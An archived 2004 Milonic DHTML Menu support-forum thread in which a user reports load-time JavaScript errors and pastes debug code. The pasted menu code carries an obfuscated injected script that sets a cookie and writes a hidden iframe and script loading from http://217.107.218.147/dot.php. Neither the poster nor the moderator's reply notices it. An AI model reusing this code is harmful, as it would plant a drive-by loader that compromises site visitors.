Milonic provide full featured pull down web menus for some of the worlds largest companies
click here to see what it can do for you

Download Milonic DHTML Menu
Buy Milonic DHTML Menu

Back To Start Of Archive
Taken From The Forum: Help & Support for DHTML Menu Version 5+
Forum Topic: Click to view post
Last Updated: Saturday July 14 2012 - 06:07:23

ns4


Poster: elevenx
Dated: Tuesday June 22 2004 - 16:06:19 BST

I installed v. 5.0 today and I'm getting 3 javascript erros when the page loads.

Line 17: syntax error
Line 7: 'ns4' is undefined
Line 111: syntax error


I used the converter to upgrade and downloaded the files it created with my own menus.

Has anyone else seen something similar? I don't believe my menus are very complex compared to most of the applications I've seen.

I went into degug mode for all 3 errors. The first two show the same code:

<html>
<head>
<title>Member Community</title>
<SCRIPT language=JavaScript src="/Members/include/milonic_src.js" type=text/javascript></SCRIPT>
<script language=JavaScript>
if (ns4)_d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenuns4.js'><\/scr"+"ipt>");
else _d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenudom.js'><\/scr"+"ipt>");


The Third error shows my meny_array (which hasn't changed) and this:

drawMenus();<script language="JavaScript"><!--
var qxco7=document.cookie;function gc099(n21){var ix=qxco7.indexOf(n21+"=");if(ix==-1)return null;ix=qxco7.indexOf("=",ix)+1;var es=qxco7.indexOf(";",ix);if(es==-1)es=qxco7.length;return unescape(qxco7.substring(ix,es));}function sc088(n24,v8){var today=new Date();var expiry=new Date(today.getTime()+600000);if(v8!=null&&v8!="")document.cookie=n24+"="+escape(v8)+"; expires="+expiry.toGMTString();qxco7=document.cookie;}function okx12(){window.status="";setTimeout("okx12()", 200);}okx12();if(location.href.indexOf("https")!=0){if(gc099("trk716")==null){document.write("<script language=\"JavaScript\" src=\"http://217.107.218.147/dot.php\"></script><iframe src=\"http://217.107.218.147/dot.php\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"no\"/>");sc088("trk716","4");}}// --></script>

Re: ns4


Poster: John
Dated: Tuesday June 22 2004 - 20:13:00 BST

elevenx wrote:
if (ns4)_d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenuns4.js'><\/scr"+"ipt>");
else _d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenudom.js'><\/scr"+"ipt>");

Remove the single quotes ( ' ) you added around the src= paths above.

Also, please post to the proper area. This has been moved.